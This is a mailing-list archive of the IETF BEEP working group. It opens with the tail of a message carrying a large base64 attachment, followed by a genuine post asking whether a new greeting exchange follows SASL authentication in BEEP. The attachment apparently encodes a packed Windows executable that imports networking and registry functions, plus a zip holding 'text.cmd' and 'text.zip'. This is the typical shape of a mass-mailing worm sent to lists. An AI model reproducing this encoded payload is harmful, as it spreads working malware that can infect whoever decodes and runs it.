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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAAkAAA
gAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACAAAAAAAAAAAAAAAAAAAABAAkEAABYAAAA
2PAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAJBAAAgAAAAMTzAAAoAQAAAAAAAAAAAAAA
AAAAAAAAAAAAAAABAAAA0AAAgKgAAIAAAAAAAAAAAAAAAAAAAAEACQQAAMAAAADw9AAAIgAAAAAA
AAAAAAAAAQAwAODAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA
////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAiIiIiIiIiIiIiIiIiIAAAI////////////////+AAACH///////////////3
gAAAj3//////////////f4AAAI/3////////////9/+AAACP/3///////////3//gAAAj//3////
//////f//4AAAI///3////////9///+AAACP///3///////3////gAAAj///d3d3d3d3d3///4AA
AI//939/f39/f393//+AAACP/3f39/f39/f393//gAAAj/d/f39/f39/f393/4AAAId39/f39/f3
9/f393eAAACPf39/f39/f39/f39/gAAAj////////////////wAAAAj///////////////AAAAAA
j/////////////8AAAAAAAj////////////wAAAAAAAAj///////////AAAAAAAAAAj/////////
8AAAAAAAAAAAj////////wAAAAAAAAAAAAj///////AAAAAAAAAAAAAAj/////8AAAAAAAAAAAAA
AAiIiIiIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA////////////////wAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AA
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

------=_NextPart_000_0009_A9A205A3.4EFAA6BA--


From kwatsen@juniper.net Mon Oct 31 10:39:32 2005
Received: from borg.juniper.net (borg.juniper.net [207.17.137.119])
	j9VIdWSv009716
	for <beepwg@lists.beepcore.org>; Mon, 31 Oct 2005 10:39:32 -0800
Received: from unknown (HELO gamma.jnpr.net) (172.24.245.25)
  by borg.juniper.net with ESMTP; 31 Oct 2005 10:39:25 -0800
X-BrightmailFiltered: true
X-Brightmail-Tracker: AAAAAA==
X-IronPort-AV: i="3.97,270,1125903600"; 
   d="scan'208,217"; a="507297935:sNHT37477856"
Received: from antitop.jnpr.net ([172.24.15.27]) by gamma.jnpr.net with
	Microsoft SMTPSVC(6.0.3790.1830);	 Mon, 31 Oct 2005 10:39:24 -0800
x-mimeole: Produced By Microsoft Exchange V6.5.7226.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C5DE4A.6A38072B"
Date: Mon, 31 Oct 2005 10:39:24 -0800
Message-ID: <B8C821F9E0675D44BFA994C28C0120E5584E30@antitop.jnpr.net>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: <greeting> after sasl?
Thread-Index: AcXeSmn6jwx7RuUcQsmwk6sZFUCnsg==
From: "Kent Watsen" <kwatsen@juniper.net>
To: <beepwg@lists.beepcore.org>
X-OriginalArrivalTime: 31 Oct 2005 18:39:24.0492 (UTC)
	FILETIME=[6A74E8C0:01C5DE4A]
Subject: [BEEPwg] <greeting> after sasl?
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 31 Oct 2005 18:39:32 -0000

This is a multi-part message in MIME format.

------_=_NextPart_001_01C5DE4A.6A38072B
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Sorry if this has been answered before, but my search through the
archives and other online resources did not provide a definitive
answer...

=20

Is another <greeting> exchange expected after the SASL profile is used
for authentication?  The spec implies there is a "tuning reset" after
each tuning profile is used and it implies that the SASL profile is a
tuning profile, but I can't find examples illustrating a new <greeting>
exchange either...

=20

It would be surprising for a server to advertise its "exchange" profiles
before the client has authenticated itself.  Not only does this
unnecessarily reveal information, but the server might want to select
which profiles to advertised based on the authorizations of the
authenticated client

=20

Thanks

Kent

=20

=20


------_=_NextPart_001_01C5DE4A.6A38072B
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

